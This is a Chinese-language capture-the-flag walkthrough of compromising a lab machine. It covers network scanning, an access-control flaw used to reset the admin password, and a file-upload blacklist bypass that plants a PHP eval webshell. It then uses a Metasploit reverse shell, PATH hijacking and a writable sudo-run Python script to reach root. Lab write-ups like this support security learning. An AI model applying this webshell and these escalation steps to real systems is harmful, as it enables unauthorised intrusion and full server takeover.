kali攻击机ip:192.168.181.129
主机发现
nmap -sP 192.168.181.0/24
端口扫描
nmap -p 1-65535 -A 192.168.181.157
目录扫描
dirb http://192.168.181.157
逐个访问
database.php真的没有东西,我在各个地方尝试了各种方式打开,都没有
这里是存放一些页面展示的文件
这里有一张唯美的gif,来都来了,欣赏一下吧
upload目录,说不定有文件上传漏洞,但是现在还用不了
访问80端口
右上角有个登录
注册一个账号
利用刚刚的账号登录
审查一下界面,发现url后面的?id很有sql注入漏洞的感觉
sqlmap跑一下,可惜无功而返
没有sql注入漏洞,那尝试一下修改id的值会怎么样
显示无法查看其他用户的信息
此情此景,让我想起了一个漏洞,叫越权漏洞
(92条消息) 越权漏洞简单分析_前行的学者的博客-优快云博客
按照惯例,猜测id=1的用户应该就是网站的管理者,用户名很有可能是admin
我们想登录admin的账号,需要将他的密码改为我们知道的
尝试修改用户密码时抓包,开启bp
抓到包了,可以看见此时Referer和id字段都是id=2
两个都修改为id=1后提交
提交完之后,后面还有一个get请求也修改为id=1
尝试用修改后的密码登录admin
成功了~~
多了一个upload,这不就跟前面串起来了,文件上传漏洞
试试直接传反弹shell的php文件,发现被拦截了
试试抓包修改文件后缀能不能绕过去
传上去的文件后缀变成了jpg,也不行
试了一轮,php3,pht,phtml,phps各种后缀都试试,后面发现phtml是可以的,写入一句话木马
可知这里使用的是黑名单检验
<?php
eval($_POST['cc']);
?>
返回upload目录,访问shell.phtml
中国蚁剑连接
查看suid命令,没发现有用的
sudo -l
查看root权限命令,很怪,为啥不让我输密码?(虽然我现在还妹密码)
查看用户目录
令人心动的password和user.txt,可惜没有权限访问
但是这个toto,是可以执行的
password和file.py john用户可以读写执行
./toto
回显跟id命令一样,就是toto查看的是john的id,id命令查看的是www-data的id
toto应该就是以john的身份执行了id命令
id命令执行时,会从前往后在PATH环境变量中搜索路径,若找到id命令,就直接执行
只要我们再写一个id文件,然后将文件路径作为一个环境变量放在id原来的路径前,就能被优先检索到,系统会执行我们写的id程序而不是系统命令id
PATH环境变量
可执行程序的搜索目录,可执行程序包括Linux系统命令和用户的应用程序。如果可执行程序的目录不在PATH指定的目录中,执行时需要指定目录。
export PATH=/usr/local/bin:$ PATH
PATH是变量名,这里是指添加到PATH这个环境变量中
=后面是要添加的环境变量
: $ PATH是指把新添加的环境变量与原先的环境变量重新赋值给PATH这个变量,这里可以看出如果有多个环境变量时,应该使用:进行分隔,如 export PATH=/usr/local/php/bin:/usr/local/mysql/bin:$ PATH
配置的环境变量中不要忘了加上原来的配置,即$PATH部分,避免覆盖原来配置
$ PATH放在开头指配置的环境变量在后面追加,放在后面表示把配置的环境变量放在最前面(从前往后匹配)
找到一个可以写入文件的目录,比如/tmp,/bin/bash开启john权限的shell
touch id
echo '/bin/bash' >id
chmod +x id
export PATH=/tmp:$PATH
本来按逻辑这里就可以提权成功的,但是没有,不知道是不是蚁剑的问题,提权这事还是不能直接在蚁剑里面搞
msf弄个反弹shell(我的端口是6666),通过蚁剑直接上传到网站upload目录
msf开启监听
通过网站访问shell.php
一下就连上了
记得重新添加环境变量,因为export添加环境变量是临时的,终端关闭了就重置了
执行toto,成功变更用户
可以查看password,user.txt了
为啥还是这样,难道是我没弄回显的原因?
python -c 'import pty;pty.spawn("/bin/bash")'\;
不行,看看有没有装别的python版本
查看所有命令
compgen -c | grep python
原来是python3
python3 -c 'import pty;pty.spawn("/bin/bash")'\;
终于好了,可以输密码了,将刚刚得到的password写上去
可以使用root权限执行file.py
直接执行看不出来有啥用,上面已知john用户对file.py有读写权限,尝试写入python提权代码
echo "import pty;pty.spawn('/bin/bash')" > file.py
sudo /usr/bin/python3 /home/john/file.py
提权成功
o了 😃